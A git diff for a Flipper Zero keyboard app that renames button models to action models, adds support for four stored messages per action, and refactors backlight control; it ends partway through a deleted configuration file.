action_model_set_message_index(ActionModel* model, uint8_t index) { model->message_index = index; } @@ -227,7 +230,7 @@ void button_model_set_message_index(ButtonModel* model, uint8_t index) { * @param model The model to set the keystroke index for. * @param index The index of the menu item for adding a keystroke. */ -void button_model_set_keystroke_index(ButtonModel* model, uint8_t index) { +void action_model_set_keystroke_index(ActionModel* model, uint8_t index) { model->keystroke_index = index; } @@ -235,38 +238,38 @@ void button_model_set_keystroke_index(ButtonModel* model, uint8_t index) { * @brief Sets the index of the item being edited. * @param model The model to set the temp index for. */ -void button_model_set_temp_index(ButtonModel* model, uint8_t index) { +void action_model_set_temp_index(ActionModel* model, uint8_t index) { model->temp_index = index; } /** - * @brief Sets the button config associated with this model. - * @param model The model to set the button config for. - * @param button_config The button config associated with this model. + * @brief Sets the action config associated with this model. + * @param model The model to set the action config for. + * @param action_config The action config associated with this model. */ -void button_model_set_button_config(ButtonModel* model, void* button_config) { - model->button_config = button_config; +void action_model_set_action_config(ActionModel* model, void* action_config) { + model->action_config = action_config; } /** - * @brief Sets the frequency for the button, in Hz. + * @brief Sets the frequency for the action, in Hz. * @param model The model to set the frequency for. - * @param frequency The frequency for the button. + * @param frequency The frequency for the action. */ -void button_model_set_frequency(ButtonModel* model, float frequency) { +void action_model_set_frequency(ActionModel* model, float frequency) { model->frequency = frequency; } /** - * @brief Sets the keystrokes and count for the button. + * @brief Sets the keystrokes and count for the action. * @param model The model to set the keystrokes count for. * @param index The index of the keystroke to set. * @param button_code The key code to send when this key is pressed. * @param count The number of keystrokes for the button. * @return True if the keystroke was set, false otherwise. */ -bool button_model_set_keystroke( - ButtonModel* model, +bool action_model_set_keystroke( + ActionModel* model, uint8_t index, uint16_t button_code, uint8_t count) { @@ -280,12 +283,12 @@ bool button_model_set_keystroke( } /** - * @brief Appends a keystroke to the button. + * @brief Appends a keystroke to the action. * @param model The model to append the keystroke to. * @param button_code The key code to send when this key is pressed. * @param count The number of keystrokes for the button. */ -void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uint8_t count) { +void action_model_append_keystroke(ActionModel* model, uint16_t button_code, uint8_t count) { model->keystrokes_count++; if(model->keystrokes == NULL) { model->keystrokes = malloc(sizeof(Keystroke)); @@ -298,11 +301,11 @@ void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uin } /** - * @brief Removes the last keystroke from the button. + * @brief Removes the last keystroke from the action. * @param model The model to remove the keystroke from. * @return True if the keystroke was removed, false otherwise. */ -bool button_model_remove_last_keystroke(ButtonModel* model) { +bool action_model_remove_last_keystroke(ActionModel* model) { if(model->keystrokes == NULL || model->keystrokes_count == 0) { return false; } @@ -322,46 +325,47 @@ bool button_model_remove_last_keystroke(ButtonModel* model) { } /** - * @brief Sets the message for the button. - * @details Sets the message for the button. If the message is a space character, it will be + * @brief Sets the message for the action. + * @details Sets the message for the action. If the message is a space character, it will be * be considered as empty string. * @param model The model to set the message for. - * @param message The message for the button. + * @param message The message for the action. + * @param message_number The message number to set. */ -void button_model_set_message(ButtonModel* model, const char* message) { +void action_model_set_message(ActionModel* model, const char* message, uint8_t message_number) { if(message != NULL && message[0] == ' ') { // Hack since we can't clear the message. message++; } if(message == NULL || message[0] == '\0') { - if(model->message) { - furi_string_free(model->message); + if(model->message[message_number]) { + furi_string_free(model->message[message_number]); } - model->message = NULL; + model->message[message_number] = NULL; return; } - if(model->message == NULL) { - model->message = furi_string_alloc(); + if(model->message[message_number] == NULL) { + model->message[message_number] = furi_string_alloc(); } - furi_string_set(model->message, message); + furi_string_set(model->message[message_number], message); } /** - * @brief Saves the button model to a FlipperFormat. + * @brief Saves the action model to a FlipperFormat. * @param model The model to save. * @param flipper_format The FlipperFormat to save to. * @param fields The fields to save. * @return True if the model was saved, false otherwise. */ -bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, ButtonModelFields fields) { +bool action_model_save(ActionModel* model, FlipperFormat* flipper_format, ActionModelFields fields) { if(!flipper_format_write_comment_cstr(flipper_format, "")) { return false; } - uint32_t data32 = model->button_id; - if(!flipper_format_write_uint32(flipper_format, "ButtonId", &data32, 1)) { + uint32_t data32 = model->action_id; + if(!flipper_format_write_uint32(flipper_format, "ActionId", &data32, 1)) { return false; } @@ -370,52 +374,75 @@ bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, Button return false; } - data32 = button_model_get_color_up(model); - if((fields & ButtonModelFieldColorUp) && + data32 = action_model_get_color_up(model); + if((fields & ActionModelFieldColorUp) && !flipper_format_write_uint32(flipper_format, "ColorUp", &data32, 1)) { return false; } - data32 = button_model_get_color_down(model); - if((fields & ButtonModelFieldColorDown) && + data32 = action_model_get_color_down(model); + if((fields & ActionModelFieldColorDown) && !flipper_format_write_uint32(flipper_format, "ColorDown", &data32, 1)) { return false; } - float dataf = button_model_get_frequency(model); - if((fields & ButtonModelFieldFrequency) && + float dataf = action_model_get_frequency(model); + if((fields & ActionModelFieldFrequency) && !flipper_format_write_float(flipper_format, "Frequency", &dataf, 1)) { return false; } - FuriString* str = button_model_get_message(model); - if((fields & ButtonModelFieldMessage)) { - FuriString* temp_str = NULL; - if(str == NULL) { - temp_str = furi_string_alloc(); + if((fields & ActionModelFieldMessage)) { + FuriString* empty_str = furi_string_alloc(); + + FuriString* str = action_model_get_message(model, 0); + if(!flipper_format_write_string(flipper_format, "Message", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; + } + + str = action_model_get_message(model, 1); + if(!flipper_format_write_string(flipper_format, "Message2", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; + } + + str = action_model_get_message(model, 2); + if(!flipper_format_write_string(flipper_format, "Message3", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; } - if(!flipper_format_write_string(flipper_format, "Message", str ? str : temp_str)) { - if(temp_str) { - furi_string_free(temp_str); + + str = action_model_get_message(model, 3); + if(!flipper_format_write_string(flipper_format, "Message4", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); } return false; } - if(temp_str) { - furi_string_free(temp_str); + + if(empty_str) { + furi_string_free(empty_str); } } - uint16_t size = button_model_get_keystrokes_count(model); + uint16_t size = action_model_get_keystrokes_count(model); data32 = size; - if((fields & ButtonModelFieldKeystrokes) && + if((fields & ActionModelFieldKeystrokes) && !flipper_format_write_uint32(flipper_format, "KeystrokeCount", &data32, 1)) { return false; } - if((fields & ButtonModelFieldKeystrokes) && size != 0) { + if((fields & ActionModelFieldKeystrokes) && size != 0) { uint32_t* info = malloc(sizeof(uint32_t) * 2 * size); for(uint8_t i = 0; i < size; i++) { - Keystroke keystroke = button_model_get_keystroke(model, i); + Keystroke keystroke = action_model_get_keystroke(model, i); info[i * 2] = (uint32_t)keystroke.button_code; info[i * 2 + 1] = (uint32_t)keystroke.count; } @@ -430,42 +457,51 @@ bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, Button } /** - * @brief Searches a FlipperFormat for a KeyId/ButtonId and returns the Fields. - * @param button_id The button id to search for. + * @brief Searches a FlipperFormat for a ActionId/KeyId/ButtonId and returns the Fields. + * @param action_id The action id to search for. * @param flipper_format The FlipperFormat to search in. - * @return The fields that were loaded (ButtonModelFieldNone if not found) + * @return The fields that were loaded (ActionModelFieldNone if not found) */ -static ButtonModelFields - button_model_load_has_id(uint16_t button_id, FlipperFormat* flipper_format) { +static ActionModelFields + action_model_load_has_id(uint16_t action_id, FlipperFormat* flipper_format) { uint32_t data32; flipper_format_rewind(flipper_format); + while(flipper_format_read_uint32(flipper_format, "ActionId", &data32, 1)) { + if(data32 == action_id) { + if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { + return (ActionModelFields)data32; + } + return (ActionModelFields)ActionModelFieldNone; + } + } + flipper_format_rewind(flipper_format); while(flipper_format_read_uint32(flipper_format, "ButtonId", &data32, 1)) { - if(data32 == button_id) { + if(data32 == action_id) { if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { - return (ButtonModelFields)data32; + return (ActionModelFields)data32; } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } } flipper_format_rewind(flipper_format); while(flipper_format_read_uint32(flipper_format, "KeyId", &data32, 1)) { - if(data32 == button_id) { + if(data32 == action_id) { if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { - return (ButtonModelFields)data32; + return (ActionModelFields)data32; } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } /** - * @brief Loads the button model from a FlipperFormat. + * @brief Loads the action model from a FlipperFormat. * @param model The model to load. * @param flipper_format The FlipperFormat to load from. */ -static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_format) { +static void action_model_load_fields(ActionModel* model, FlipperFormat* flipper_format) { uint32_t data32; float dataf; FuriString* message = furi_string_alloc(); @@ -484,8 +520,29 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ if(flipper_format_read_string(flipper_format, "Message", message)) { if(furi_string_size(message)) { - button_model_set_message(model, furi_string_get_cstr(message)); + action_model_set_message(model, furi_string_get_cstr(message), 0); + } + } + + if(flipper_format_read_string(flipper_format, "Message2", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 1); + } + + if(flipper_format_read_string(flipper_format, "Message3", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 2); + } } + + if(flipper_format_read_string(flipper_format, "Message4", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 3); + } + } + } else { + // Message 2 not found, so legacy format. Rewind to being of Id. + action_model_load_has_id(model->action_id, flipper_format); } if(flipper_format_read_uint32(flipper_format, "KeystrokeCount", &data32, 1)) { @@ -496,7 +553,7 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ if(flipper_format_read_uint32(flipper_format, "Keystrokes", info, num_ints)) { for(uint8_t i = 0; i < num_entries; i++) { if(info[i * 2]) { - button_model_append_keystroke(model, info[i * 2], info[i * 2 + 1]); + action_model_append_keystroke(model, info[i * 2], info[i * 2 + 1]); } } } @@ -508,15 +565,15 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ } /** - * @brief Loads the button model from a FlipperFormat. + * @brief Loads the action model from a FlipperFormat. * @param model The model to load. * @param flipper_format The FlipperFormat to load from. - * @return The fields that were loaded (ButtonModelFieldNone if not found) + * @return The fields that were loaded (ActionModelFieldNone if not found) */ -ButtonModelFields button_model_load(ButtonModel* model, FlipperFormat* flipper_format) { - ButtonModelFields fields = button_model_load_has_id(model->button_id, flipper_format); +ActionModelFields action_model_load(ActionModel* model, FlipperFormat* flipper_format) { + ActionModelFields fields = action_model_load_has_id(model->action_id, flipper_format); if(fields) { - button_model_load_fields(model, flipper_format); + action_model_load_fields(model, flipper_format); } return fields; diff --git a/applications/external/flipkeyboard/common/action_model.h b/applications/external/flipkeyboard/common/action_model.h new file mode 100644 index 00000000000..cd38a24645b --- /dev/null +++ b/applications/external/flipkeyboard/common/action_model.h @@ -0,0 +1,247 @@ +/** + * @file action_model.h + * @brief This file contains the ActionModel type and related functions. + * @details This file contains the ActionModel type and related functions. + * The ActionModel type is used to store the settings for an action, for + * example the color, frequency, message, and keystrokes. + */ + +#pragma once + +#include +#include + +typedef struct ActionModel ActionModel; + +typedef struct { + uint16_t button_code; + uint8_t count; +} Keystroke; + +typedef enum { + ActionModelFieldNone = 0, + ActionModelFieldColorUp = 1 << 0, + ActionModelFieldColorDown = 1 << 1, + ActionModelFieldFrequency = 1 << 2, + ActionModelFieldMessage = 1 << 3, + ActionModelFieldKeystrokes = 1 << 4, + ActionModelFieldAll = (1 << 5) - 1, +} ActionModelFields; + +/** + * @brief Allocates a new action model. + * @param action_id The action id for the model. + * @return The new action model. + */ +ActionModel* action_model_alloc(uint8_t action_id); + +/** + * @brief Allocates a new action model from a FlipperFormat. + * @param action_id The action id for the model. + * @param flipper_format The FlipperFormat to load from. + * @return The new action model. +*/ +ActionModel* action_model_alloc_from_ff(uint8_t action_id, FlipperFormat* flipper_format); + +/** + * @brief Frees a action model. + * @param model The model to free. + */ +void action_model_free(ActionModel* model); + +/** + * @brief Gets the action id for the model. + * @param model The model to get the action id for. + * @return The action id for the model. + */ +uint8_t action_model_get_action_id(ActionModel* model); + +/** + * @brief Gets the HEX color when the action is not active. + * @param model The model to get the color for. + * @return The hex color for when action is not active. + */ +uint32_t action_model_get_color_up(ActionModel* model); + +/** + * @brief Gets the HEX color when the action is active. + * @param model The model to get the color for. + * @return The hex color for when action is active. + */ +uint32_t action_model_get_color_down(ActionModel* model); + +/** + * @brief Gets the index of the menu item for editing the message. + * @param model The model to get the message index for. + * @return The index of the menu item for editing the message. + */ +uint8_t action_model_get_message_index(ActionModel* model); + +/** + * @brief Gets the index of the menu item for adding a keystroke. + * @param model The model to get the keystroke index for. + * @return The index of the menu item for adding a keystroke. + */ +uint8_t action_model_get_keystroke_index(ActionModel* model); + +/** + * @brief Gets the temp buffer for editing the message. + * @param model The model to get the temp buffer for. + * @return The temp buffer for editing the message. + */ +char* action_model_get_temp_buffer(ActionModel* model); + +/** + * @brief Gets the size of the temp buffer for editing the message. + * @param model The model to get the temp buffer size for. + * @return The size of the temp buffer for editing the message. + */ +size_t action_model_get_temp_buffer_size(ActionModel* model); + +/** + * @brief Gets the index of the item being edited. + * @param model The model to get the temp index for. + * @return The index of the item being edited. + */ +uint8_t action_model_get_temp_index(ActionModel* model); + +/** + * @brief Gets the action config associated with this model. + * @param model The model to get the action config for. + * @return The action config associated with this model. + */ +void* action_model_get_action_config(ActionModel* model); + +/** + * @brief Gets the frequency for the action, in Hz. + * @param model The model to get the frequency for. + * @return The frequency for the action. + */ +float action_model_get_frequency(ActionModel* model); + +/** + * @brief Gets the number of keystrokes for the action. + * @param model The model to get the keystrokes count for. + * @return The number of keystrokes for the action. + */ +uint8_t action_model_get_keystrokes_count(ActionModel* model); + +/** + * @brief Gets the keystroke at the given index. + * @param model The model to get the keystroke for. + * @param index The index of the keystroke to get. + * @return The keystroke at the given index. + */ +Keystroke action_model_get_keystroke(ActionModel* model, uint8_t index); + +/** + * @brief Gets the message for the action. + * @param model The model to get the message for. + * @param message_number The message number to get. + * @return The message for the action. + */ +FuriString* action_model_get_message(ActionModel* model, uint8_t message_number); + +/** + * @brief Sets the HEX color when the action is not active. + * @param model The model to set the color for. + * @param color_up The hex color for when action is not active. + */ +void action_model_set_color_up(ActionModel* model, uint32_t color_up); + +/** + * @brief Sets the HEX color when the action is pressed. + * @param model The model to set the color for. + * @param color_down The hex color for when action is pressed down. + */ +void action_model_set_color_down(ActionModel* model, uint32_t color_down); + +/** + * @brief Sets the index of the menu item for editing the message. + * @param model The model to set the message index for. + * @param index The index of the menu item for editing the message. + */ +void action_model_set_message_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the index of the menu item for adding a keystroke. + * @param model The model to set the keystroke index for. + * @param index The index of the menu item for adding a keystroke. + */ +void action_model_set_keystroke_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the index of the item being edited. + * @param model The model to set the temp index for. + */ +void action_model_set_temp_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the action config associated with this model. + * @param model The model to set the action config for. + * @param action_config The action config associated with this model. + */ +void action_model_set_action_config(ActionModel* model, void* action_config); + +/** + * @brief Sets the frequency for the action, in Hz. + * @param model The model to set the frequency for. + * @param frequency The frequency for the action. + */ +void action_model_set_frequency(ActionModel* model, float frequency); + +/** + * @brief Sets the keystrokes and count for the action. + * @param model The model to set the keystrokes count for. + * @param index The index of the keystroke to set. + * @param button_code The key code to send when this key is pressed. + * @param count The number of keystrokes for the button. + * @return True if the keystroke was set, false otherwise. + */ +bool action_model_set_keystroke( + ActionModel* model, + uint8_t index, + uint16_t button_code, + uint8_t count); + +/** + * @brief Appends a keystroke to the action. + * @param model The model to append the keystroke to. + * @param button_code The key code to send when this key is pressed. + * @param count The number of keystrokes for the button. + */ +void action_model_append_keystroke(ActionModel* model, uint16_t button_code, uint8_t count); + +/** + * @brief Removes the last keystroke from the action. + * @param model The model to remove the keystroke from. + * @return True if the keystroke was removed, false otherwise. + */ +bool action_model_remove_last_keystroke(ActionModel* model); + +/** + * @brief Sets the message for the action. + * @details Sets the message for the action. If the message is a space character, it will be + * be considered as empty string. + * @param model The model to set the message for. + * @param message The message for the action. + * @param message_number The message number to set. + */ +void action_model_set_message(ActionModel* model, const char* message, uint8_t message_number); + +/** + * @brief Saves the action model to a FlipperFormat. + * @param model The model to save. + * @param flipper_format The FlipperFormat to save to. + * @param fields The fields to save. + * @return True if the model was saved, false otherwise. + */ +bool action_model_save(ActionModel* model, FlipperFormat* flipper_format, ActionModelFields fields); + +/** + * @brief Loads the action model from a FlipperFormat. + * @param model The model to load. + * @param flipper_format The FlipperFormat to load from. + * @return The fields that were loaded (ActionModelFieldNone if not found) +*/ +ActionModelFields action_model_load(ActionModel* model, FlipperFormat* flipper_format); diff --git a/applications/external/flipsignal/common/button_model_i.h b/applications/external/flipkeyboard/common/action_model_i.h similarity index 66% rename from applications/external/flipsignal/common/button_model_i.h rename to applications/external/flipkeyboard/common/action_model_i.h index bff2a235fca..8f4d271b17c 100644 --- a/applications/external/flipsignal/common/button_model_i.h +++ b/applications/external/flipkeyboard/common/action_model_i.h @@ -1,10 +1,10 @@ #pragma once -#include "button_model.h" +#include "action_model.h" -struct ButtonModel { - // The button this setting is for (0-15) - uint8_t button_id; +struct ActionModel { + // The action this setting is for (0-15) + uint8_t action_id; // Hex color (RRGGBB) for the key when it is not pressed uint32_t color_up; @@ -25,7 +25,7 @@ struct ButtonModel { uint8_t keystroke_index; // Message to send when this key is pressed - FuriString* message; + FuriString* message[4]; // Temp buffer for editing message char* temp_buffer; @@ -34,9 +34,14 @@ struct ButtonModel { // Index of the menu item for editing message uint8_t message_index; - // ButtonConfig associated with this key - void* button_config; + // ActionConfig associated with this key + void* action_config; // Temp index. Used for storing the index of the key being edited uint8_t temp_index; -}; \ No newline at end of file +}; + +static ActionModelFields + action_model_load_has_id(uint16_t action_id, FlipperFormat* flipper_format); + +static void action_model_load_fields(ActionModel* model, FlipperFormat* flipper_format); \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/app_menu.c b/applications/external/flipkeyboard/common/app_menu.c index 985e29168f1..0d79fd22bd0 100644 --- a/applications/external/flipkeyboard/common/app_menu.c +++ b/applications/external/flipkeyboard/common/app_menu.c @@ -1,5 +1,9 @@ #include "app_menu_i.h" +/** + * @brief Global ViewDispatcher pointer. + * @details This global is due to submenu context being fixed to submenu. +*/ static ViewDispatcher* global_view_dispatcher; /** diff --git a/applications/external/flipkeyboard/common/app_menu.h b/applications/external/flipkeyboard/common/app_menu.h index e81160390e8..782f4082877 100644 --- a/applications/external/flipkeyboard/common/app_menu.h +++ b/applications/external/flipkeyboard/common/app_menu.h @@ -1,12 +1,17 @@ -#pragma once - /** * @file app_menu.h * @brief This file contains the AppMenu type and related functions. * @details This file contains the AppMenu type and related functions. * The app_menu module is used to create and show the main application menu. + * + * FLIPBOARD_APP_MENU_VIEW_ID is used to identify the main application menu view. + * Exiting this menu (Back button) exits the application. + * CustomEventAppMenuEnter happens on displaying main application menu. + * CustomEventAppMenuExit happens on exit. */ +#pragma once + #include #include diff --git a/applications/external/flipkeyboard/common/app_menu_i.h b/applications/external/flipkeyboard/common/app_menu_i.h index f69751092ad..fe09cfdeabc 100644 --- a/applications/external/flipkeyboard/common/app_menu_i.h +++ b/applications/external/flipkeyboard/common/app_menu_i.h @@ -12,5 +12,5 @@ ARRAY_DEF(ViewIdsArray, uint32_t, M_PTR_OPLIST); struct AppMenu { ViewDispatcher* view_dispatcher; Submenu* submenu; - ViewIdsArray_t view_ids; + ViewIdsArray_t view_ids; // List of view ids for each menu item }; \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/backlight.c b/applications/external/flipkeyboard/common/backlight.c index 53b5b82f119..ba595910355 100644 --- a/applications/external/flipkeyboard/common/backlight.c +++ b/applications/external/flipkeyboard/common/backlight.c @@ -1,16 +1,46 @@ #include "backlight_i.h" -static bool backlight_on_setting = false; +struct Backlight { + bool backlight_on_setting; +}; + +/** + * @brief Allocates a new Backlight object. + * @details Creates a new Backlight object. The Backlight object is responsible for + * controlling the backlight. You can turn the backlight on, or turn it back + * off (unless user interaction). + * @return Pointer to Backlight object. +*/ +Backlight* backlight_alloc() { + Backlight* backlight = malloc(sizeof(Backlight)); + backlight->backlight_on_setting = false; + return backlight; +} + +/** + * @brief Frees a Backlight object. + * @details Frees a Backlight object. + * @param backlight Pointer to Backlight object. +*/ +void backlight_free(Backlight* backlight) { + if(backlight) { + if(backlight->backlight_on_setting) { + backlight_off(backlight); + } + free(backlight); + } +} /** * @brief Turns on backlight, even if no user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_on() { - if(backlight_on_setting) { +void backlight_on(Backlight* backlight) { + if(!backlight || backlight->backlight_on_setting) { return; } - backlight_on_setting = true; + backlight->backlight_on_setting = true; notification_message( furi_record_open(RECORD_NOTIFICATION), &sequence_display_backlight_enforce_on); @@ -19,13 +49,14 @@ void backlight_on() { /** * @brief Turns off backlight, unless there is user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_off() { - if(!backlight_on_setting) { +void backlight_off(Backlight* backlight) { + if(!backlight || !backlight->backlight_on_setting) { return; } - backlight_on_setting = false; + backlight->backlight_on_setting = false; notification_message( furi_record_open(RECORD_NOTIFICATION), &sequence_display_backlight_enforce_auto); diff --git a/applications/external/flipkeyboard/common/backlight.h b/applications/external/flipkeyboard/common/backlight.h index 0d97353ad32..ef8607e5f24 100644 --- a/applications/external/flipkeyboard/common/backlight.h +++ b/applications/external/flipkeyboard/common/backlight.h @@ -1,19 +1,39 @@ -#pragma once - /** * @file backlight.h * @brief This file contains the backlight module. * @details This file contains the backlight module. The backlight module is * responsible for controlling the backlight. You can turn the backlight on, - * off, or force it off. + * or turn it back off (unless user interaction). +*/ + +#pragma once + +typedef struct Backlight Backlight; + +/** + * @brief Allocates a new Backlight object. + * @details Creates a new Backlight object. The Backlight object is responsible for + * controlling the backlight. You can turn the backlight on, or turn it back + * off (unless user interaction). + * @return Pointer to Backlight object. +*/ +Backlight* backlight_alloc(); + +/** + * @brief Frees a Backlight object. + * @details Frees a Backlight object. + * @param backlight Pointer to Backlight object. */ +void backlight_free(Backlight* backlight); /** * @brief Turns on backlight, even if no user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_on(); +void backlight_on(Backlight* backlight); /** * @brief Turns off backlight, unless there is user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_off(); +void backlight_off(Backlight* backlight); diff --git a/applications/external/flipkeyboard/common/button_config.c b/applications/external/flipkeyboard/common/button_config.c deleted file mode 100644 index df00b87e752..00000000000 --- a/applications/external/flipkeyboard/common/button_config.c +++ /dev/null @@ -1,607 +0,0 @@ -#include "button_config_i.h" - -static void populate_variable_item_list(ButtonConfig* button_config, ButtonModel* bm); - -/** - * @brief color_up_changed is called when the color up setting is changed. - * @param item The VariableItem that was changed. - */ -static void color_up_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_color_up(bm, color_values[index]); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief color_down_changed is called when the color down setting is changed. - * @param item The VariableItem that was changed. - */ -static void color_down_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_color_down(bm, color_values[index]); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief tone_changed is called when the tone setting is changed. - * @param item The VariableItem that was changed. - */ -static void tone_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_frequency(bm, tone_values[index]); - variable_item_set_current_value_text(item, tone_names[index]); -} - -/** - * @brief maps a menu item index into to keystroke index. - * @details maps a menu item index into to keystroke index. Determining the - * index relies on the fact that the menu items are added in the order of - * Keystroke, Count, Keystroke, Count, etc. and then finally Add Keystroke. - * @param bm The ButtonModel. - * @return The keystroke index -*/ -static uint8_t keystroke_item_index(ButtonModel* bm) { - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - uint8_t add_item_index = button_model_get_keystroke_index(bm); - uint8_t count = button_model_get_keystrokes_count(bm); - uint8_t offset = add_item_index - (count * 2); - uint8_t selected_item_index = - variable_item_list_get_selected_item_index(button_config->item_list); - uint8_t item_index = (selected_item_index - offset) / 2; - FURI_LOG_D("Flipboard", "item_index=%d", item_index); - return item_index; -} - -/** - * @brief keystroke_changed is called when the keystroke setting is changed. - * @param item The VariableItem that was changed. - */ -static void keystroke_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - uint8_t item_index = keystroke_item_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item_index); - FURI_LOG_D("Flipboard", "ks.button_code=%d .count=%d", ks.button_code, ks.count); - button_model_set_keystroke(bm, item_index, keystroke_values[index], ks.count); - variable_item_set_current_value_text(item, keystroke_names[index]); -} - -/** - * @brief keystroke_count_changed is called when the keystroke count setting is changed. - * @param item The VariableItem that was changed. -*/ -static void keystroke_count_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - uint8_t item_index = keystroke_item_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item_index); - FURI_LOG_D("Flipboard", "ks.button_code=%d .count=%d", ks.button_code, ks.count); - button_model_set_keystroke(bm, item_index, ks.button_code, index); - variable_item_set_current_value_text(item, keystroke_count_names[index]); -} - -/** - * @brief populate_variable_item_list_color adds a color configuration. - * @details populate_variable_item_list_color adds a color configuration. It - * adds a VariableItem (config) to the VariableItemList. It sets the current - * value index to the index of the color passed in, if it finds a match. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @param label The label for the setting. - * @param callback The callback for when the setting is changed. - * @param initial_color The initial color in HEX to default to (RRGGBB). -*/ -static void populate_variable_item_list_color( - ButtonConfig* button_config, - ButtonModel* bm, - char* label, - VariableItemChangeCallback callback, - uint32_t initial_color) { - VariableItem* item = variable_item_list_add( - button_config->item_list, label, COUNT_OF(color_names), callback, bm); - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(color_values); i++) { - if(initial_color == color_values[i]) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief populate_variable_item_list_frequency adds a frequency configuration. - * @details populate_variable_item_list_frequency adds a frequency configuration. - * It sets the current value index to the index of the frequency passed in, if - * it finds a match. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @param label The label for the setting. - * @param callback The callback for when the setting is changed. - * @param frequency The initial frequency to default to. -*/ -static void populate_variable_item_list_frequency( - ButtonConfig* button_config, - ButtonModel* bm, - char* label, - VariableItemChangeCallback callback, - float frequency) { - VariableItem* item = variable_item_list_add( - button_config->item_list, label, COUNT_OF(tone_names), callback, bm); - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(tone_values); i++) { - float diff = frequency - tone_values[i]; - if(diff < 0.0f) diff = -diff; - if(diff < 1.0f) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, tone_names[index]); -} - -/** - * @brief populate_variable_item_list_keystrokes adds keystroke and count configurations. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @return The number of lines added. -*/ -static uint8_t - populate_variable_item_list_keystrokes(ButtonConfig* button_config, ButtonModel* bm) { - uint8_t lines_added = 0; - - uint8_t count = button_model_get_keystrokes_count(bm); - - for(int j = 0; j < count; j++) { - Keystroke ks = button_model_get_keystroke(bm, j); - FURI_LOG_D("Flipboard", "POPULATE ks.button_code=%d .count=%d", ks.button_code, ks.count); - - VariableItem* item = variable_item_list_add( - button_config->item_list, - "Keystroke", - COUNT_OF(keystroke_names), - keystroke_changed, - bm); - lines_added++; - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(keystroke_names); i++) { - if(keystroke_values[i] == ks.button_code) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, keystroke_names[index]); - - item = variable_item_list_add( - button_config->item_list, - "Count", - COUNT_OF(keystroke_count_names), - keystroke_count_changed, - bm); - lines_added++; - index = COUNT_OF(keystroke_count_names) - 1; - for(size_t i = 0; i < COUNT_OF(keystroke_count_names); i++) { - if(i == ks.count) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, keystroke_count_names[index]); - } - - return lines_added; -} - -/** - * @brief message_updated is called when the text message is updated. - * @param context The ButtonModel. - */ -static void message_updated(void* context) { - ButtonModel* bm = (ButtonModel*)context; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - furi_assert(button_config); - button_model_set_message(bm, button_model_get_temp_buffer(bm)); - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); -} - -/** - * @brief keystroke_selector_callback is called when a keystroke is selected. - * @param button_code The button code that was selected. - * @param context The ButtonModel. -*/ -static void keystroke_selector_callback(uint16_t button_code, void* context) { - ButtonModel* bm = (ButtonModel*)context; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - uint8_t item = button_model_get_temp_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item); - if(ks.button_code != button_code) { - button_model_set_keystroke(bm, (uint8_t)item, button_code, ks.count); - 